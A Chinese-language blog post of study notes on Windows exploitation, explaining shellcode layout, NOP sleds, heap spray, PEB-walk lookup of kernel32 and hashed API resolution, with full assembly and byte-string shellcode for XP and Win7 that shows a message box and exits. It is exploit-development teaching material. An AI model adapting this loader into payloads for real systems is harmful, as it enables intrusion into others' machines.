OD: Universal Shellcode

本节讲如果开发通用的 Shellcode。

Shellcode 的组织

shellcode 的组织对成功地 exploit 很重要。

送入缓冲区的数据包括:

1. 填充物。一般用 0x90 (NOP) 填充于 shellcode 之前,这样只要跳转到填充区,就能执行 shellcode,为溢出提供了着床缓冲。

2. 淹没返回地址的数据。可能是跳转指令地址、shellcode 起始地址,或者近似的 shellcode 地址。

3. shellcode。

前些篇目中用过两种 shellcode 的组织方式,分别是将短小的 shellcode 直接放在 buffer 中和将 shellcode 放在返回地址之后。

第三种方式是,用跳转指令来定位 shellcode 时,将 shellcode 布置在返回地址之前,并在返回地址之后多淹没一些空间用作 shellcode head 以引导 eip 着陆。

将 shellcode 放在 buffer 中:

好处:合理利用缓冲区,使攻击串的体积最小(对于远程攻击,有时所有数据必须放在一个网络数据包内);不破坏前栈帧数据。

坏处:shellcode 可能被压栈的数据破坏。

将 shellcode 放在返回地址之后:

好处:不用担心 shellcode 被压栈的数据破坏。

坏处:破坏前栈帧结构。

提高栈顶保护 shellcode

将 shellcode 放在 buffer 中最大的坏处是:函数返回时,当前帧栈被弹出,虽然物理上 shellcode 暂时没被破坏,但逻辑上,存放 shellcode 的那个栈帧已经废弃了。如果 shellcode 中没有向栈中写数据,那情况还好;但如果 shellcode 用了 push 之类的指令在栈中暂存数据,压栈的数据可能会破坏 shellcode 本身。若 buffer 比较大,shellcode 中的 push 操作可能保会占用离栈顶较近的栈区,不会危及到 shellcode,但如果 buffer 比较小,情况就不乐观了。

为了保护 shellcode 使其具有较好的通用性,通常在 shellcode 一开始就抬高栈顶,使 shellcode 藏在栈帧中,不被 push 等操作破坏。

跳转指令

除了前些篇目中使用的 jmp esp,也可以使用其他跳转指令。

实际漏洞利用时,要好好观察寄存器的值,除了 esp 之外,eax、ebx、esi 等寄存器也会指向栈顶附近,跳转指令的选用要灵活些,move eax, esp 和 jmp eax 等指令序列也能完成进入栈帧的功能。

加大靶心

个别苛刻的漏洞不允许使用跳转指令,这时如果 buffer 足够大,可以在 shellcode 之前放置些 NOP,定位 shellcode 时,只要能跳进这些 NOP 中就能命中。这些用途着陆缓冲的 NOP 被形象地称作大靶心。

返回地址移位

在一些情况下,返回地址距离 buffer 的距离不是确定的(但能保证返回地址是双字 DWORD),这时也可以用加大靶心的思想——子弹扫射:用一片连续的跳转指令的地址(子弹)来覆盖返回地址,只要有一个子弹成功覆盖了返回地址就成功了。

返回地址错位

这是一种更加棘手的情况——例如由 strcat() 引起的漏洞:

strcat("程序安装目录", 输入的字符串)

在不同的系统环境下,输入的字符串可能不一样(可能是 app.exe 或者 app_.exe …),这里返回地址可能按字节错位而不是按双字(DWORD)错位,如果调试好的返回地址是 0xaabbccdd,则在其他机器上可能因为输入的字符串差奇数个字节,使返回地址变成 0xbbccddaa、0xccddaabb 或者 0xddaabbcc,溢出的成功率只有 25%,溢出的通用性大大降低!

Heap Spray

解决上述问题的一个方法是:使用按字节相同的双字跳转地址,甚至可以使用堆中的跳转地址并将 shellcode 用堆扩展的方法放置在相应区域。这种 heap spray 技术在 IE 漏洞中经常用到。

定位 Shellcode 原理

之前用到的 user32.dll 中的 MessageBoxA() 和 kernel32.dll 中的 ExitProcess() 的入口地址会因不同的 OS、不同的 patch 而不同,导致用静态地址调用 API 会使得 shellcode 的通用性受到很大的限制,实际使用中必须动态获得 API 地址。

Windows 的 API 是通过动态连接库中的导出函数来实现的:内存操作函数在 kernel32.dll 中实现,图形界面相关函数在 user32.dll 中实现……

Windows 下的 shellcode 最常用的动态寻址 API 的方法是:从进程控制块中找到动态连接库的导出表,搜索出所需 API 地址并调用。

所有 Win32 程序都会加载 kernel32.dll 和 ntdll.dll,在 Win32 中寻址 kernel32.dll 的 API 的步骤如下:

1. 通过 段选择字 FS 在内存中找到当前的线环境制快 TEB(Thread Environment Block)。
2. 线程环境块偏移 0x30 的地方存放着指向 进程环境块 PEB(Process Environment Block)的指针。
3. 进程环境块中偏移 0x0C 的地方存放着指向 PEB_LDR_DATA 结构体的指针,PEB_LDR_DATA 存放着已经装载的 DLL 信息。
4. PEB_LDR_DATA 偏移 0x1C 的地方存放着指向模块初始化链表的头指针 InInitializationOrderModuleList。
5. InInitializationOrderModuleList 存放着 PE 初始化时的模块信息,第一个链表结点是 ntdll.dll,第二个是 kernel32.dll。
6. 找到 kernel32.dll 后,偏移 0x08 的地方就是 kernel32.dll 在内存中的加载基址。
7. kernel32.dll 加载基址偏移 0x3C 的地方就是其 PE 头。
8. PE 头偏移 0x78 的地方存放指向函数导出表的指针。

函数导出表偏移 0x1C 处的指针指向存储导出函数偏移地址(RVA)的列表。
函数导出表偏移 0x20 处的指针指向存储导出函数函数名的列表。
函数的 RVA 地址和名字按照顺序放在上述两个列表中,可以根据名称的索引值查找对应的 RVA。
获得 RVA 后,加上前面找到的加载基址,就能找到 API 函数的入口虚拟地址。

找出需要的 API 函数入口地址的过程如下:

类似的,用这种方法可以定位 ws2_32.dll 中的 winsock 函数来编写能获得远程 shell 的利用型 shellcode。

利用 kernel32.dll 中的 LoadLibrary() 和 GetProcAddress() 可以方便的定位其他 API 函数。

定位 kernel32.dll 装载基址的代码如下:

1 xor edx, edx                ; zero edx
2 mov ebx, fs:[edx + 0x30]    ; ebx = addr of PEB
3 mov ecx, [ebx + 0x0c]       ; ecx = pointer to loader data
4 mov ecx, [ecx + 0x1c]       ; ecx = first entry in initialisation order list
5 mov ecx, [ecx]              ; ecx = second entry in list : kernelbase.dll on Win7 , kernel32.dll on Windows XP
6 mov ecx, [ecx]              ; ecx = third entry in list : kernel32.dll on Win7
7 mov ebp, [ecx + 0x08]       ; ebp = base addr of kernel32.dll

我在书中的代码中增加了如上所示的第 6 行,因为调试发现 Win7 中模块初始化链表所指的第二个节点是 kernelbase.dll,第三个节点才是 kernel32.dll

Shellcode 加载与调试

shellcode 的常见形式是用转义字符将机器码放在一个数组中,公开的 shellcode 也经常用这种方式。

可以使用如下的 C 语言代码来调试 shellcode:

char shellcode[] = "x90x90...";

int main()
{
  __asm
  {
    lea eax, shellcode
    push eax
    ret
  }
  return 0; }

API 函数名的哈希摘要(hash digest)

短小精悍是设计通用 shellcode 标准之一,为此,在 shellcode 中定位 API 不应该直接用 API 的函数名,否则空间很严重。不错的选择是用函数名的字符串 hash 摘要要(hash digest)。引入 hash 算法需要的代码空间不大,比直接使用函数名更划算。

接下来的实验中使用的 hash 算法如下:

#include <stdio.h>
#include <windows.h>

DWORD GetHash(char *fun_name)
{
    DWORD digest=0;
    //循环右移7位并累加字符串中的字符
    for( ; *fun_name; digest=((digest<<25)+(digest>>7))+*(fun_name++) );
    return digest;
}

int main()
{
    printf("hash of MessageBoxA: 0x%08x
",GetHash("MessageBoxA"));
    return 0;
}

这位一来,只用存储 hash 算法函数 GetHash() 的代码和需要使用的 API 函数名的 digest(双字),而上述的 GetHash() 只需 ror 和 add 指令就可以实现。实际上,精心构造的 hash 算法只需一个字节(8bit) 就能存储 digest 值。

应用上面的算法得出的主要 API 的 hash 值如下:

MessageBoxA  : 0x1E380A6A
ExitProcess  : 0x4FD18963
LoadLibraryA : 0x0C917432

动态定位 API

下面实现动态定位 API 中的 LoadLibraryA()、ExitProcess()、和 MessageBoxA() 函数,并完成弹窗和安全退出程序的 shellcode。

第一步是将 API 函数名的 hash digest 压入栈中,注意压栈之前要将增量标志 DF 清零。因为当 shellcode 是利用异常处理机制而植入的时候,往往会产生标志位的变化,使 shellcode 字符串处理方向发生变化而出错(如 LODSD 指令)。如果在堆溢出中发现原本稳定的 shellcode 运行时出错,很可能就是这个原因。

我用的环境是 Win7,调试中发现模块初始化链表中的第二个模块是 kernelbase.dll 而不是 kernel32.dll,所以在原书的代码中有修改,见第 51、52 行:

  1 /*****************************************************************************
  2       To be the apostrophe which changed "Impossible" into "I'm possible"!
  3         
  4 POC code of chapter 5.4 in book "Vulnerability Exploit and Analysis Technique"
  5  
  6 file name     : shellcode_popup_general.c
  7 author        : failwest  
  8 date          : 2006.10.20
  9 description   : can be run across OS platform and different patch version
 10                 the code used to generate PE file and extract binary code   
 11 Noticed       :  
 12 version       : 1.0
 13 E-mail        : failwest@gmail.com
 14         
 15     Only for educational purposes    enjoy the fun from exploiting :)
 16 ******************************************************************************/
 17 
 18 int main()
 19 {    
 20     _asm{
 21             nop
 22             nop
 23             nop
 24             nop
 25             nop
 26 
 27             CLD                    ; clear flag DF
 28             ;store hash
 29             push 0x1e380a6a        ;hash of MessageBoxA
 30             push 0x4fd18963        ;hash of ExitProcess
 31             push 0x0c917432        ;hash of LoadLibraryA
 32             mov esi,esp            ; esi = addr of first function hash 
 33             lea edi,[esi-0xc]      ; edi = addr to start saving function address
 34 
 35             ; make some stack space
 36             xor ebx,ebx
 37             mov bh, 0x04              
 38             sub esp, ebx 
 39             
 40             ; push a pointer to "user32" onto stack 
 41             mov bx, 0x3233         ; rest of ebx is null 
 42             push ebx 
 43             push 0x72657375 
 44             push esp 
 45             
 46             xor edx,edx
 47             ; find base addr of kernel32.dll 
 48             mov ebx, fs:[edx + 0x30]      ; ebx = address of PEB 
 49             mov ecx, [ebx + 0x0c]         ; ecx = pointer to loader data 
 50             mov ecx, [ecx + 0x1c]         ; ecx = first entry in initialisation order list 
 51             mov ecx, [ecx]                ; ecx = second entry in list (kernelbase.dll on Win7)
 52             mov ecx, [ecx]                ; ecx = third entry in list (kernel32.dll on Win7)
 53             mov ebp, [ecx + 0x08]         ; ebp = base address of kernel32.dll 
 54                         
 55         find_lib_functions: 
 56             lodsd                     ; load next hash into al and increment esi 
 57             cmp eax, 0x1e380a6a       ; hash of MessageBoxA - trigger 
 58                                       ; LoadLibrary("user32") 
 59             jne find_functions 
 60             xchg eax, ebp             ; save current hash 
 61             call [edi - 0x8]          ; LoadLibraryA 
 62             xchg eax, ebp             ; restore current hash, and update ebp 
 63                                       ; with base address of user32.dll 
 64             
 65         find_functions: 
 66             pushad                       ; preserve registers 
 67             mov eax, [ebp + 0x3c]        ; eax = start of PE header 
 68             mov ecx, [ebp + eax + 0x78]  ; ecx = relative offset of export table 
 69             add ecx, ebp                 ; ecx = absolute addr of export table 
 70             mov ebx, [ecx + 0x20]        ; ebx = relative offset of names table 
 71             add ebx, ebp                 ; ebx = absolute addr of names table 
 72             xor edi, edi                 ; edi will count through the functions 
 73 
 74         next_function_loop: 
 75             inc edi                      ; increment function counter 
 76             mov esi, [ebx + edi * 4]     ; esi = relative offset of current function name 
 77             add esi, ebp                 ; esi = absolute addr of current function name 
 78             cdq                          ; dl will hold hash (we know eax is small) 
 79             
 80         hash_loop: 
 81             movsx eax, byte ptr[esi]
 82             cmp al,ah
 83             jz compare_hash
 84             ror edx,7
 85             add edx,eax
 86             inc esi
 87             jmp hash_loop
 88 
 89         compare_hash:    
 90             cmp edx, [esp + 0x1c]         ; compare to the requested hash (saved on stack from pushad) 
 91             jnz next_function_loop 
 92             
 93             mov ebx, [ecx + 0x24]         ; ebx = relative offset of ordinals table 
 94             add ebx, ebp                  ; ebx = absolute addr of ordinals table 
 95             mov di, [ebx + 2 * edi]       ; di = ordinal number of matched function 
 96             mov ebx, [ecx + 0x1c]         ; ebx = relative offset of address table 
 97             add ebx, ebp                  ; ebx = absolute addr of address table 
 98             add ebp, [ebx + 4 * edi]      ; add to ebp (base addr of module) the 
 99                                           ; relative offset of matched function 
100             xchg eax, ebp                 ; move func addr into eax 
101             pop edi                       ; edi is last onto stack in pushad 
102             stosd                         ; write function addr to [edi] and increment edi 
103             push edi 
104             popad                    ; restore registers 
105                                      ; loop until we reach end of last hash 
106             cmp eax,0x1e380a6a
107             jne find_lib_functions 
108 
109         function_call:
110             xor ebx,ebx
111             push ebx               // cut string
112             push 0x74736577
113             push 0x6C696166        //push failwest
114             mov eax,esp            //load address of failwest
115             push ebx    
116             push eax
117             push eax
118             push ebx
119             call [edi - 0x04] ;    //call MessageboxA
120             push ebx
121             call [edi - 0x08] ;    // call ExitProcess
122             nop
123             nop
124             nop
125             nop
126     }
127     return 0;
128 }

OllyDbg 导入上述代码编译出的 EXE 文件,并导出 shellcode(170字节,Win7) 如下:

 1 char popwnd_general[] =
 2 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
 3 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75"
 4 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
 5 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
 6 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53"
 7 "x50x50x53xFFx57xFCx53xFFx57xF8";
 8 
 9 int main()
10 {
11     _asm{
12         lea eax, popwnd_general
13         push eax
14         ret
15     }
16     return 0;
17 }

修改了弹窗信息后的 163 字节 shellcode(Windows XP)

 1 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
 2 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
 3 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
 4 "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
 5 "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
 6 "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
 7 "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
 8 "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
 9 "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
10 "x53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57xFCx53"
11 "xFFx57xF8" // 163 bytes pop window shellcode (MessageBoxA)

2014.11.04 修改代码如下(XP / Win7 可用):

  1 #include <stdio.h>
  2 
  3 int main()
  4 {
  5     LoadLibrary(_T("user32.dll"));
  6     _asm{
  7             nop
  8             nop
  9             nop
 10             nop
 11             nop
 12 
 13             CLD                    ; clear flag DF
 14             ;store hash
 15             push 0x1e380a6a        ;hash of MessageBoxA
 16             push 0x4fd18963        ;hash of ExitProcess
 17             push 0x0c917432        ;hash of LoadLibraryA
 18             mov esi,esp            ; esi = addr of first function hash 
 19             lea edi,[esi-0xc]      ; edi = addr to start saving function address
 20 
 21             ; make some stack space
 22             xor ebx,ebx
 23             mov bh, 0x04              
 24             sub esp, ebx 
 25             
 26             ; push a pointer to "user32" onto stack 
 27             mov bx, 0x3233         ; rest of ebx is null 
 28             push ebx 
 29             push 0x72657375 
 30             push esp 
 31             
 32             xor edx,edx
 33             ; find base addr of kernel32.dll 
 34             mov ebx, fs:[edx + 0x30]      ; ebx = PEB 
 35             mov ecx, [ebx + 0x0c]         ; ecx = PEB_LDR_DATA 
 36             mov ecx, [ecx + 0x0c]         ; ecx = [PEB_LDR_DATA + 0x0C] = LDR_MODULE InLoadOrder[0] (process)
 37             mov ecx, [ecx]                ; ecx = InLoadOrder[1] (ntdll)
 38             mov ecx, [ecx]                ; ecx = InLoadOrder[2] (kernel32)
 39             mov ebp, [ecx + 0x18]         ; ebp = [InLoadOrder[2] + 0x18] = kernel32 DllBase
 40                         
 41         find_lib_functions: 
 42             lodsd                     ; load next hash into al and increment esi 
 43             cmp eax, 0x1e380a6a       ; hash of MessageBoxA - trigger 
 44                                       ; LoadLibrary("user32") 
 45             jne find_functions 
 46             xchg eax, ebp             ; save current hash 
 47             call [edi - 0x8]          ; LoadLibraryA 
 48             xchg eax, ebp             ; restore current hash, and update ebp 
 49                                       ; with base address of user32.dll 
 50             
 51         find_functions: 
 52             pushad                       ; preserve registers 
 53             mov eax, [ebp + 0x3c]        ; eax = start of PE header 
 54             mov ecx, [ebp + eax + 0x78]  ; ecx = relative offset of export table 
 55             add ecx, ebp                 ; ecx = absolute addr of export table 
 56             mov ebx, [ecx + 0x20]        ; ebx = relative offset of names table 
 57             add ebx, ebp                 ; ebx = absolute addr of names table 
 58             xor edi, edi                 ; edi will count through the functions 
 59 
 60         next_function_loop: 
 61             inc edi                      ; increment function counter 
 62             mov esi, [ebx + edi * 4]     ; esi = relative offset of current function name 
 63             add esi, ebp                 ; esi = absolute addr of current function name 
 64             cdq                          ; dl will hold hash (we know eax is small) 
 65             
 66         hash_loop: 
 67             movsx eax, byte ptr[esi]
 68             cmp al,ah
 69             jz compare_hash
 70             ror edx,7
 71             add edx,eax
 72             inc esi
 73             jmp hash_loop
 74 
 75         compare_hash:    
 76             cmp edx, [esp + 0x1c]         ; compare to the requested hash (saved on stack from pushad) 
 77             jnz next_function_loop 
 78             
 79             mov ebx, [ecx + 0x24]         ; ebx = relative offset of ordinals table 
 80             add ebx, ebp                  ; ebx = absolute addr of ordinals table 
 81             mov di, [ebx + 2 * edi]       ; di = ordinal number of matched function 
 82             mov ebx, [ecx + 0x1c]         ; ebx = relative offset of address table 
 83             add ebx, ebp                  ; ebx = absolute addr of address table 
 84             add ebp, [ebx + 4 * edi]      ; add to ebp (base addr of module) the 
 85                                           ; relative offset of matched function 
 86             xchg eax, ebp                 ; move func addr into eax 
 87             pop edi                       ; edi is last onto stack in pushad 
 88             stosd                         ; write function addr to [edi] and increment edi 
 89             push edi 
 90             popad                    ; restore registers 
 91                                      ; loop until we reach end of last hash 
 92             cmp eax,0x1e380a6a
 93             jne find_lib_functions 
 94 
 95         function_call:
 96             xor ebx,ebx
 97             push ebx               // cut string
 98             push 0x78632024        // push "$ cx"
 99             mov eax,esp            //load address of failwest
100             push ebx    
101             push eax
102             push eax
103             push ebx
104             call [edi - 0x04] ;    //call MessageboxA
105             push ebx
106             call [edi - 0x08] ;    // call ExitProcess
107             nop
108             nop
109             nop
110             nop
111     }
112     return 0;
113 }
View Code

shellcode 如下:

 1 "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
 2 "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
 3 "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
 4 "x49x0Cx8Bx09x8Bx09x8Bx69x18xADx3Dx6Ax0Ax38x1Ex75"
 5 "x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCD"
 6 "x8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBE"
 7 "x06x3AxC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24"
 8 "x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03"
 9 "xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9"
10 "x33xDBx53x68x24x20x63x78x8BxC4x53x50x50x53xFFx57"
11 "xFCx53xFFx57xF8"  // 165 bytes msgbox shellcode for xp/win7
原文地址:https://www.cnblogs.com/exclm/p/shellcode.html